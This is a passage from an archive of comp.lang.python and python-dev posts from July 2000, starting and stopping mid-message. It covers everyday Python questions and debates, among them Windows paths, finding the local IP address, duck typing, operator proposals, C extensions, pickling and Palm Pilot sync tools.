starts with / or \, even if it doesn't have a drive.  In that case, it
doesn't do the join mentioned in the documentation, but only does
os.path.normalize() and you can end up with a result without the drive
letter.

I guess the problem is that "absolute" is sort of ambiguous under
Windows, since you can have absolute paths on your current drive, or a
really absolute path that always includes the drive.

It would probably help to see the value that was in "directory" from
the original poster to know if that's what was up (and/or if he had
the win32 extensions installed).

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From richard_chamberlain at ntlworld.com  Sun Jul  9 16:42:58 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sun, 9 Jul 2000 21:42:58 +0100
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com>
Message-ID: <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com>

Up and down arrow keys and tab.

Richard

Dale Strickland-Clark <dale at out-think.NOSPAM.co.uk> wrote in message
news:8kaij5$c9s$1 at supernews.com...
> Is anyone else running this who has figured out how to select from the
> pop-up keyword prompts without using the mouse?
>
> I've tried all the obvious ones like ctrl-enter without success.
>
> Thanks
>
> Dale Strickland-Clark
>
>
>




From mal at lemburg.com  Thu Jul 20 11:49:20 2000
From: mal at lemburg.com (M.-A. Lemburg)
Date: Thu, 20 Jul 2000 17:49:20 +0200
Subject: [Python-Dev] Coercion (RE: Discussion: Introducing new operators  
 for  matrix computation)
References: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com>
Message-ID: <39771F80.90DD0C99@lemburg.com>

[Adding new operators]

Just a side note before everyone forgets: I think we'll
need to carefully redefine coercion *before* adding any
new slots/operators/etc. to Python.

The current model where coercion is centralized won't
scale well with the new operators. My (old) proposal for this
(see my Python Pages) was to decentralize coercion and
make the coercion process part of the operators task.

Thoughts ?

-- 
Marc-Andre Lemburg
______________________________________________________________________
Business:                                      http://www.lemburg.com/
Python Pages:                           http://www.lemburg.com/python/



From grey at despair.rpglink.com  Sun Jul 30 21:06:28 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 01:06:28 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com> <PCYg5.2852$6E.754275@ptah.visi.com>
Message-ID: <slrn8o9k4e.i9b.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 16:22:07 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>But in many, many programs (at least in the embedded and
>process control areas where I do most of my work) program
>objects _do_ correspond to real world objects.

    Granted, and in those cases it is appropriate to remember the limitations
of the physical world.  However in programming languages, peach.debone is
valid, as is waffle-iron.dial.  :)

>I don't understand the analogy.  Pens are not responsible for
>parsing English sentances and proofreading them.  They're
>responsible for leaving a visible trail when they're dragged
>across a paper surface.

    Exactly.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From jimhribar at msn.com  Sun Jul 23 15:20:34 2000
From: jimhribar at msn.com (Jim Hribar)
Date: Sun, 23 Jul 2000 15:20:34 -0400
Subject: Color, "DOS" programs, locate...
Message-ID: <uDiPyqN9$GA.240@cpmsnbbsa09>

Where can I get information on using Python for text based programs,
specifically formatting the screen, changing colors, etc.  I'm using Python
for Windows. I saw something called the "curses" module, but doesn't seem to
be for Windows.

Please respond by email..

_][ ][ ][\/][
jimhribar at msn.com
---
Get Paid to surf the web!
http://www.alladvantage.com/go.asp?refid=BWQ812
---




From grey at despair.rpglink.com  Sat Jul 29 22:44:15 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:44:15 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com> <slrn8o6o57.f91.grey@teleute.rpglink.com> <8lvovs1dj1@news2.newsguy.com>
Message-ID: <slrn8o75fq.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 01:21:09 +0200, Alex Martelli <alex at magenta.com> wrote:
>>     How many would say that abc is a sequence.  ;P

>Most would, of course -- just ask what comes next, and anybody
>with positive IQ will guess 'd'.

1

What comes next?


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From robin at jessikat.fsnet.co.uk  Thu Jul 20 10:55:48 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 15:55:48 +0100
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
 <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net>
 <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
 <8l6vc5$c07$1@slb6.atl.mindspring.net>
Message-ID: <+MLEAgA0Lxd5EwDd@jessikat.fsnet.co.uk>

In article <8l6vc5$c07$1 at slb6.atl.mindspring.net>, Aahz Maruch
<aahz at netcom.com> writes
...
>>The function zip as proposed (combine two lists into a list of pairs)
>>is straight from Haskell (and other functional languages) just like map
>>and filter. I think zip is the obvious name.
>
>Ah.  Hmmmm....  Well, then, I guess I withdraw my objections to zip.
>I'd still prefer something else, but....
...
so are we saying that the almost unknown language Haskell has the
correct semantics for this; zip has at least three common usages other
than of zip fastener meaning (interlace).
-- 
Robin Becker


From bjorn at roguewave.com  Fri Jul 28 18:43:39 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 28 Jul 2000 16:43:39 -0600
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <slrn8o3lfj.17lq.Gareth.McCaughan@g.local> <slrn8o418v.49c.grey@teleute.rpglink.com>
Message-ID: <39820C9B.C21776D@roguewave.com>

Steve Lamb wrote:
> 
> On Fri, 28 Jul 2000 19:50:27 +0100, Gareth McCaughan
> <Gareth.McCaughan at pobox.com> wrote:
> >None doesn't mean "empty object". It means "no object". There's
> >a big difference, whether or not you care to recognise it. As
> >big as the difference between "no bottles" and "an empty bottle",
> >which is insignificant only if all you care about is the beer. :-)
> i
>     Be hard to fool me on that.
> 
> type(a)
> a = None
> type(a)
> 
>     If it  were no object how come it doesn't bomb out again.  Maybe the more
> precise answer would be that I am trying to create the name a and point to
> nothing.  None is not nothing.  None /is/s something.  It is a type.  :P

Sure it is, it's the embodiment (or is that physical reincarnation) of
Nothing-ness.

Note that None is not a type, but it has a type.

Anyone else remember Objective-C and how the type of nil was the bottom
of the type hierarchy (it was a subtype of every type), so you could do
[nil foo:5 bar:6] and it would work for any method?

-b



From europax at home.com  Sat Jul  8 17:57:45 2000
From: europax at home.com (europax at home.com)
Date: Sat, 08 Jul 2000 21:57:45 GMT
Subject: Anyone used Python for GPIB instrument control?
References: <Pine.OS2.3.95.1000708183952.1432D-100000@CENTRAL>
Message-ID: <3967A2E2.F6AFEE44@home.com>

I think I am going to get a C compiler for work where we use NT.  At
home here I use Linux and don't want to eat up my hard drive with
Windoze stuff (I have Windows 3.1, though since it is so small)

I saw that Borland is selling a CD with Turbo C, Turbo C++,etc for about
$60.  Thats a pretty good deal.  I also found some free WIN32
compilers.  One based on the GNU gcc and it has an IDE called Rhine.

Rob.  

Andrew MacIntyre wrote:
> 
> On Sat, 8 Jul 2000 europax at home.com wrote:
> 
> > I am new to this ng and to Python.  I am wondering if anyone has used
> > Python to control a National Instruments GPIB card on a Windows NT box?
> > I've searched and found a couple of references on my own.
> 
> If no other choice offers, it shouldn't be hard to wrap NI's interface
> library in a Python extension module (though a C compiler would be
> required) especially with the aid of SWIG.
> 
> --
> Andrew I MacIntyre                     "These thoughts are mine alone..."
> E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
>         andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
>         andymac at pcug.org.au           (play2) |        Australia


From mfletch at tpresence.com  Tue Jul 18 19:38:15 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Tue, 18 Jul 2000 19:38:15 -0400
Subject: Getting local IP address...
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3433@VRTMAIL>

The primary problem with #1 is complex network configurations. For instance,
here is what the code gives you on my machine (and my configuration is not
that complex in the grand scheme of things)...

>>> import socket
>>> socket.gethostbyname( socket.gethostname())
'192.0.2.201'

Which seems perfectly reasonable, except that that is actually an address on
our VPN, and is completely un-addressable by the outside world.
(Incidentally, you likely get the same information from the Linux hackery,
since it only accesses "the first" ethernet adapter, is, effectively, doing
exactly the same thing as gethostbyname, just in an obscure way, and you
still are left not knowing what is connected to the Internet).

>>> socket.gethostbyname_ex( socket.gethostname())
('cr706570-a.yec1.on.wave.home.com', [], ['192.0.2.201', '24.112.128.169',
'172.16.0.1'])

Shows the three different addresses for my machine.  Only the second address
is a public IP address.  If I were to publish either of the other two
addresses, no one would be able to connect to me using them (unless they
happen to be either on our VPN or using my testing computer on its little
testing network (which, points up the neat feature of the testing approach,
as I can actually use the same code for all three networks, simply changing
the "remote address" I use to establish my own IP address)).

Of course, as Donn mentioned, if you already have a connection, it is really
cheap to simply read off the address from that connection.  One of our
(older) projects even uses reflection, having the server report to the
client the public address from which the client appears to be connecting
(which, incidentally, lets you notice that you are behind a firewall or the
like).  That, of course, requires a server somewhere :o) .

So, for 80% of the end-users out there, who only have a single IP address,
no big deal, you can use the DNS lookups (gethostbyname, gethostname).  If
this is just for "information" purposes, you could use the DNS lookups
without a problem.  For anyone with a more complex networking structure, you
may run into problems.

The choice is yours.
Networking is an ugly mess.
Use the address wisely, Luke.
Multi-homed systems are the sign of the devil, don't trust anyone using one.
All who would defy nature and put more than one NIC in a computer are lying
scoundrels!

Mike


-----Original Message-----
From: stephen at cerebralmaelstrom.com.bbs@openbazaar.net
[mailto:stephen at cerebralmaelstrom.com.bbs@openbazaar.net]
Sent: Tuesday, July 18, 2000 4:40 AM
To: python-list at python.org
Subject: Re: Getting local IP address...


    Um, jeez. I'm rather surprised by these responses -- I assumed it
was some simple little function somewhere I was missing.. I'm also
even more surprised at the differences between the three approaches

-- #1 -- socket.gethostbyname(socket.gethostname())
-- #2 -- Some complicated stuff dealing with asking Linux (which,
incidentely, is bad since i'm primarily on a Windows machine for
the time being -- and in the future will be on a *BSD, and hope
to have my program working on all three :)) what the address is
on the given ethernet card..
-- #3 -- Just go all out and connect, since in the process you
have to be telilng the other side where you are, so you can
get it that way.

#2 and #3 just seem .. convoluted .. as heck. But because so
many people sugguested them, I have to assume that they
beileve there is some central problem with #1... What is it? :)

...



From mksql at my-deja.com  Thu Jul 13 17:40:54 2000
From: mksql at my-deja.com (mksql at my-deja.com)
Date: Thu, 13 Jul 2000 21:40:54 GMT
Subject: Python interpreter check and exit?
References: <8kl9mc$1e3$1@nnrp1.deja.com>
Message-ID: <8kld13$44d$1@nnrp1.deja.com>

Answered my own question (did not use the right search terms on my
first few attempts). Found a post with a Unix shell script that does
the job. Here is my DOS/Win .BAT version for any who are interested
(checks a single file):

@python -c "from py_compile import compile; compile('%1')"


In article <8kl9mc$1e3$1 at nnrp1.deja.com>,
  mksql at my-deja.com wrote:
> Does the Python interpreter have a "check the syntax of the program
and
> then exit without executing it" mode or command line parameter, as
> in "Perl -c program.pl" ?
>
> PythonWin has this ability through the check function, but I would
like
> to apply it to other editors.
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From dgoodger at bigfoot.com  Sun Jul 23 00:41:08 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 23 Jul 2000 00:41:08 -0400
Subject: bit manipulation frustration
In-Reply-To: <397A6980.CF15DB96@san.rr.com>
References: <397A6980.CF15DB96@san.rr.com>
Message-ID: <B59FEFA3.6877%dgoodger@bigfoot.com>

on 2000-07-22 23:38, Courageous (jkraska1 at san.rr.com) wrote:
> First, in one fell swoop of antigenious, I seem to have
> forgotten how to convert strings to sequences of char and
> vice versa. Eeek. Help? Will someone please remind me and
> hit me with a rubber mallet??? :)

>>> s="abcd"
>>> map(None, s)
['a', 'b', 'c', 'd']

... is one way. There are probably others. Consider youself whalloped.

> Second, this whole paradigm seems so skrewball.
...
> get it?)

No, not really. Post an example?

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From Jarkko.Veijalainen at tecnomen.fi  Mon Jul  3 06:14:40 2000
From: Jarkko.Veijalainen at tecnomen.fi (Jarkko Veijalainen)
Date: Mon, 3 Jul 2000 13:14:40 +0300 
Subject: slicing string
Message-ID: <00Jul3.130616eest.119043@sister.tecnomen.fi>

Hi!

I'm real newbie with Python. I started learnig Python just last week. I have
a problem slicing a string, imported from file. can anyone help me with
simple solution. Input string follows this pattern:

 attr=value , attr2=value2, attr3= , attr4=value2. 

I have made an Object class, where all attributes are class variables. How
can i slice that sring and store those att=value pairs in my object?

I'm desperated...

	JarkkoV



From srs25 at cornell.edu  Thu Jul 20 15:06:36 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Thu, 20 Jul 2000 15:06:36 -0400
Subject: Type checking in python?
References: <39770CD5.215D4C0C@cornell.edu> <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <8l7au1$mf6$1@nntp6.u.washington.edu>
Message-ID: <39774DBC.5785A660@cornell.edu>

(First of all, I just wanted take a moment to thank Paul Prescod for his
very informative response to my post in this thread.)

Donn Cave wrote:
[snip]
> What about the file object and StringIO?  I mean, supposing that you were
> motivated to implement a class like StringIO, and that the file object
> were also a Python class, would you make StringIO a subclass of file, or
> just implement the interface?
> 
> I would just implement the interface, just because there's nothing of
> value for me (that I can think of, anyway) in the file implementation.
> I want something that ``walks like a duck'', but is not a natural duck
> of some exotic species but a completely unrelated thing that shares only
> its very simple abstractions.  If I carried along a natural duck in
> there, it would be kind of an ancestor fetish, not a useful thing.

Fair enough. I agree that implementing the necessary methods is the most
practical solution in this case -- and in many others. However, I think that
the obvious objection to this approach would be that because there *are* no
explicit interfaces in python, you can't create a class that's guaranteed to
work wherever another class works just by implementing the same methods. It
all seems rather sloppy to me, but I guess that's what you have to live with
in a non-typesafe language. After all, "if you want typesafety, you know
where to get it", right? :-)

> Maybe both should inherit from some class that represents the basic
> notions that they all implement, even though there wouldn't be any
> actual implementation at that level of abstraction, just so's we
> could look at the class hierarchy and say ``It's a duck!''.  I guess
> some languages do this, Python doesn't.  I think that's good.  Because
> we don't respect the ancestor fetish, I don't have to go back to the
> author of file and say ``Hey, why don't you pull an abstract base class
> up out of your class so I can inherit from it?'' and then to the author
> of some library function and say ``Hey, we have this new abstract base
> class for "file", so expect that instead and I can use your function.''
> I just bolt on the duck stuff and we're ready to go in 10 minutes.

Yes, well, my response to this would be that the author should have provided
a distinct interface and implementation in the first place. As Paul Prescod
pointed out, that's the way it works in sather -- and how it *can* work in
java. It would be nice if python provided a means to do this, but then it
wouldn't be python anymore, would it? :-)

Anyway, I now understand that Python really just doesn't provide any
interface mechanism, and that one should not consider the class system to
serve this purpose in any capacity (as I once did) -- it is only for the
purpose of code re-use. From this perspective, the language design and the
programming style it encourages make a lot more sense.

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
undergraduate, Cornell University        control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From grey at despair.rpglink.com  Fri Jul 28 11:01:58 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:01:58 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no>
Message-ID: <slrn8o37v3.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 10:42:15 +0200, Paul Boddie <paulb at infercor.no> wrote:
>Having seen Perl's behaviour in cases like the one Tim quoted, albeit in the
>following form...

>  1 + $variable

>(trying to remember Perl syntax) where $variable is some text which should have
>been a number but for various reasons happened to be something like "foo", I
>would rather my chosen implementation language did raise an exception than
>pretend nothing was wrong.

    This is a matter of opinion.  I have to ask, where were your data checks
in the first place?  

>What about 1 + "23"? Is "23" a decimal number or a hexadecimal number or what?

    Decimal.  Is that not decimal form?

>Doesn't Perl do this last one as well? I refer you to the example I give
>above - to have such behaviour permeating one's code is "nasty" to say the
>least.

    Nope.  1 + "foo" = 1.  Perl uses the a different syntax to put strings
together.  + is only a mathematical operator, not a math and string operator.

>whereas 1 + "foo" is meaningless to almost everyone except Perl coders.

    But 1 + "1" is not.     

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From pete at visionart.com  Tue Jul 18 14:16:38 2000
From: pete at visionart.com (Pete Shinners)
Date: Tue, 18 Jul 2000 11:16:38 -0700
Subject: merging numpy's array into python2
Message-ID: <8l27h4$7vq$1@la-mail4.digilink.net>

i find using the numerical array stuff to be so useful i was
wondering if there are ever plans to implement some of the
package into the standard python release?

specifically, the array object and it's helpful ufuncs would
be great addition to the standard release (imho)

i find it hard to imagine having a great/flexible n-D array
object (that's fast to boot!) wouldn't be helpful in all
pythons uses.

python already has a standard "array" module, but it seems
pretty weak compared to the numpy version.

and the ufuncs work equally well on numpy arrays as well
with standard python sequence objects. want to do an element-
wise add two lists? i find "List1 + List2" much better all
around than "map(lambda x,y: x+y, List1, List2)"
(well, i'm sure we're all aware of how numpy works, :] )

is numeric too much baggage for the standard python release?
are there areas of development where more rigid and quick
arrays wouldn't be beneficial? does the numerical team even
wish to be a part of the standard python, or do they prefer
their own schedule?

to me it seems more useful and a lot less 'specific' than
most of the modules that are a part of the std python release.

(could it make 2.0?)





From neilh at scintilla.org  Sat Jul 22 23:05:40 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 23 Jul 2000 03:05:40 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com>
Message-ID: <8ite5.9395$4p3.69392@news-server.bigpond.net.au>

> I first ran into this when I tried to implement a sparse matrix
> class. At that time, the Numpy distribution had a Matrix class that
> implemented regular matrix multiplication with '*', and I wanted to
> write another class SparseMatrix that would do the right thing
> whenever it was multiplied with a Matrix.

   I had a look at Dylan a few years ago and multimethods look good for some
areas but you also lose the encapsulating aspect of normal OO. The
functionality for a class isn't nicely tied up in one bundle but is
federated over a wide and extensible area. I would expect Python with
multimethods to look very different from current Python. Like Aahz, I'd like
to see what your idea of Python with multimethods would look like?

   Neil





From ldw at us.ibm.com  Tue Jul 18 10:06:41 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Tue, 18 Jul 2000 09:06:41 -0500
Subject: Using filter()
Message-ID: <8l1o9h$pto$1@news.rchland.ibm.com>

I have a simple problem and from the description, filter() seems like a
match.  But I can't figure out how to make it work.  Here's the code without
using filter()

include string, os

def filter1( fileList, name ):
#--------------------------------------------------------
# matches name to the first characters of a file in the file list
 temp = []
 for i in range(len(fileList)):
    if string.find( fileList[i], name ) == 0:
        temp.append( fileList[i] )
 return temp

def filter2( filelist, aString ):
#-------------------------------------------------
# finds aString somewhere in the file list
 temp = []
 for i in range(len(filelist)):
    if string.find( filelist[i], aString ) != -1: # is in the string
somewhere
        temp.append( filelist[i] )
 return temp

def main(): #--------------------------------------------------------------
    # somewhere in main
    tracePath = 'u:\\trc45\\junebug\\'
    traceFileName = 'jbtpcc.'
    traceFileExt = '.gz'
    infiles = filter2( filter1( os.listdir( tracePath ), traceFileName ),
traceFileExt )
    infiles.sort()
    print infiles

I suspect using filter() would simplify this.  Can someone help?

Larry




From sjuranic at condor.ee.washington.edu  Thu Jul 27 13:43:23 2000
From: sjuranic at condor.ee.washington.edu (Steve Juranich)
Date: Thu, 27 Jul 2000 10:43:23 -0700
Subject: Local user modules?
Message-ID: <Pine.SOL.3.96.1000727103018.22972B-100000@condor.ee.washington.edu>

I've been perusing the Python documentation.  I've just about finished
"Learhing Python" and started leafing through "Extending and Embedding the
Python Interpreter".  I would like to use Python in my research, but because
of the amount of data that I have to deal with, I will /have/ to write some
C/C++ code (I'd like to get my Ph.D. within a reasonable amount of time
<grin>).

Admittedly, I haven't read the entire "Extending..." document, but I'm
looking for a short answer here, because if I don't get the answer that I'm
looking for, that might place Python out of the realm of reasonability for
me.

Without further ado, here's my question: Is it possible for a user to write
a module in C/C++ and make that available to the Python interpreter
*without* needing to edit systemfiles like
${PYTHON_HOME}/Modules/Setup.local?

Is is possible for me to add NumPy to my Python path without actually
sticking it in the main Python system path?

So far, this has been my biggest frustration with Python.  If there is
somewhere where I could RTFM, please let me know.  I would be more than
happy to do this, but I must know how to get around this problem.

FYI, I know all about how to alter sys.path to add a directory like
~/Python/MyModules that would add modules implemented in Python, but how do
I do the same thing for objects implemented in C/C++?

Thanks a lot for the help!

--------------------------------------------------------------------------
Stephen W. Juranich								sjuranic at ee.washington.edu
Electrical Engineering  	 	   http://students.washington.edu/sjuranic
University of Washington				http://truk.ee.washington.edu/ssli




From bwinton at tor.dhs.org  Mon Jul 10 23:22:00 2000
From: bwinton at tor.dhs.org (Blake Winton)
Date: Mon, 10 Jul 2000 23:22:00 -0400
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <14698.17375.15871.804581@beluga.mojam.com>
References: <200007070140.SAA31035@wd264.aero.org> <3966C005.5EF656C6@smartchat.net.au> <200007101546.IAA09887@rushe.aero.org> <14698.17375.15871.804581@beluga.mojam.com>
Message-ID: <200007110322.XAA02259@tor.dhs.org>

In comp.lang.python, you wrote:
>I haven't tried either yet.  Can this be downloaded using Linux?  I
>can just barely do pilot-xfer to backup my Palm and could use some
>suggestions on the use of the other Linux pilot-* apps, particularly
>those that will let me download new programs like PalmPython.

If you want any help on the pilot-link programs, just let me know, and
I'll tell you what (little) I know.

The stuff that comes to mind now is 
"pilot-xfer -i filename.prc" installs filename.prc on your Palm.
"pilot-xfer -b backupdir" backs up your entire Palm to a directory.
"pilot-xfer -r backupdir" restores your entire Palm from a directory.

"install-memo filename.txt" copys filename.txt into your memos.
"memos -d spam" copys all the memos from your Palm into a directory.

That's about it for now.  If you have any specific questions, just let
me know, and I'll see what I can do...

Later,
Blake.
-- 
10:07pm up 1 day, 11:20, 1 user, load average: 0.00, 0.00, 0.00



From jerome.vacher at tts.thomson-csf.com  Tue Jul 11 12:34:30 2000
From: jerome.vacher at tts.thomson-csf.com (Jerome Vacher)
Date: Tue, 11 Jul 2000 16:34:30 GMT
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <396B4C96.A04B808@tts.thomson-csf.com>

hi back

import os
if os.path.isfile(<your file>):
    <do_what_you_want>

easy
Jerry, the foolish dracomorpheus

"Fernando Rodr?guez" a ?crit :

> Hi!
>
>     How can I check if a file exists? O:-)
>
> TIA
>
> --
>
> ---------------------------------------
> Fernando Rodr?guez



From tismer at appliedbiometrics.com  Sun Jul  2 13:22:02 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Sun, 02 Jul 2000 19:22:02 +0200
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie> <8F655BA3Egmcmhypernetcom@199.171.54.154> <8jno3n$p6m$1@nnrp2.deja.com>
Message-ID: <395F7A3A.FFB0B903@appliedbiometrics.com>

Hi Sean,

seanmcgrath at my-deja.com wrote:
> 
> At 09:07 02/07/00 -0400, Gordon McMillan wrote:
> >
> >Do you have a __getinitargs__ or __getstate__ or
> __setstate__ that might be
> >triggering a call to __getattr__?
> >
> 
> I don't have calls to __getinitargs__,
> __getstate__ or __setstate__.
> 
> What I do have is a __getattr__ which I suspect is
> involved in this:-)
> 
> The patient is pyxie.py
> (http://www.digitome.com/pyxie.py).
> The object I am trying to pickle is a tree
> structure.
> A variable CurPos points to a sub-ordinate object
> which can be of type xElement or xData.
> 
> The __getattr__ hook achieves a Delphi-like effect
> in which attributes of these sub-ordinate objects
> appear as attributes of the top level object.
> 
> It seemed like a good idea at the time:-)

Well, I see that your __getattr__ is a little insane.

        def __getattr__(self,n):
                if hasattr(self.CurPos,n):
                        return getattr(self.CurPos,n)
                else:
                        raise PyxieException (
                        "No attribute '%s' on xTree or current xNode" % n)

It redirects *every* reading attribute access to the CurPos
object, so Pickle can't even figure out what your xTree's
class is. Also, the CurPos object can's be saved with it,
nothing is accessible.

First, I suggest to redirect all requests with __ to the class,
second, give access to xTree object attributes a higher priority
by first looking into self by self.__dict__.has_key(n) .

This might work. Maybe you also want to avoid to store
CurPos in the pickle at all. This can be done by introducing
__getinitargs__ or __getstate__ and __setstate__ .

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From Denys.Duchier at ps.uni-sb.de  Wed Jul 19 15:00:55 2000
From: Denys.Duchier at ps.uni-sb.de (Denys Duchier)
Date: 19 Jul 2000 21:00:55 +0200
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <slrn8nbplh.jng.wtanksle@dolphin.openprojects.net>
Message-ID: <islmyygd20.fsf@elk.ps.uni-sb.de>

wtanksle at dolphin.openprojects.net (William Tanksley) writes:

> >1. Make a pure python way to introduce additional operators, like
> >   import NewOperator
> >   NewOperator.define(".+", "__dotadd__")
> >   NewOperator.define("+=", "__add_ab__")
> >   NewOperator.define(":=", "__copy__")
> 
> This isn't feasable -- it would require modifying the lexer and parser at
> runtime, which would be a MAJOR change and can have unpredictable results.
> (You know what I mean if and only if you've ever written a compiler with a
> grammar.)

I know what you mean, and it's simply not true.  What it takes is
simply to express the grammar in terms of operator precedence levels
rather than in terms of specific operators.  Thus your grammar has a
fixed number of predefined operator levels and corresponding rules
involving BINOP_LEVEL_1, BINOP_LEVEL_2, etc...  Only the lexer needs
to be able to be parametrized in terms of the operators that it needs
to recognize.  Typically this is done with a table and a greedy
algorithm which recognizes the largest operator present in the table.

I am, of course, not making any claims as to the
applicability/feasability/desirability of this approach for Python :-)

Sincerely,

-- 
Dr. Denys Duchier			Denys.Duchier at ps.uni-sb.de
Forschungsbereich Programmiersysteme	(Programming Systems Lab)
Universitaet des Saarlandes, Geb. 45	http://www.ps.uni-sb.de/~duchier
Postfach 15 11 50			Phone: +49 681 302 5618
66041 Saarbruecken, Germany		Fax:   +49 681 302 5615


From root at rainerdeyke.com  Fri Jul 28 21:31:07 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Sat, 29 Jul 2000 01:31:07 GMT
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <dojf5.45539$6y5.29151500@news2.rdc2.tx.home.com> <vph8zun26wx.fsf@hiirihaukka.cs.tut.fi>
Message-ID: <vtqg5.49075$6y5.32690606@news2.rdc2.tx.home.com>

"Vespe Savikko" <vespe at cs.tut.fi> wrote in message
news:vph8zun26wx.fsf at hiirihaukka.cs.tut.fi...
> Also sprach "Rainer Deyke" <root at rainerdeyke.com>:
>
>   Static variables and methods are a mess anyway.  In Python, there is
>   no need for them - just place the variables and functions outside
>   the class.  In Java, they are a (poor) substitite for placing things
>   outside the class.  In C++, static class members are sometimes
>   useful for access control and templates, both of which have no place
>   in Python.
>
> I think you are being too hard on static variables. The class
> attributes have their uses in Python as well. For example, since class
> attribute becomes a part of the class.__dict__, you can later define
> that same attribute in the subclasses as well, and still can retain
> the access to the 'same' class attribute in the superclass. In other
> words the value of the class attribute can be seen to as accumulating
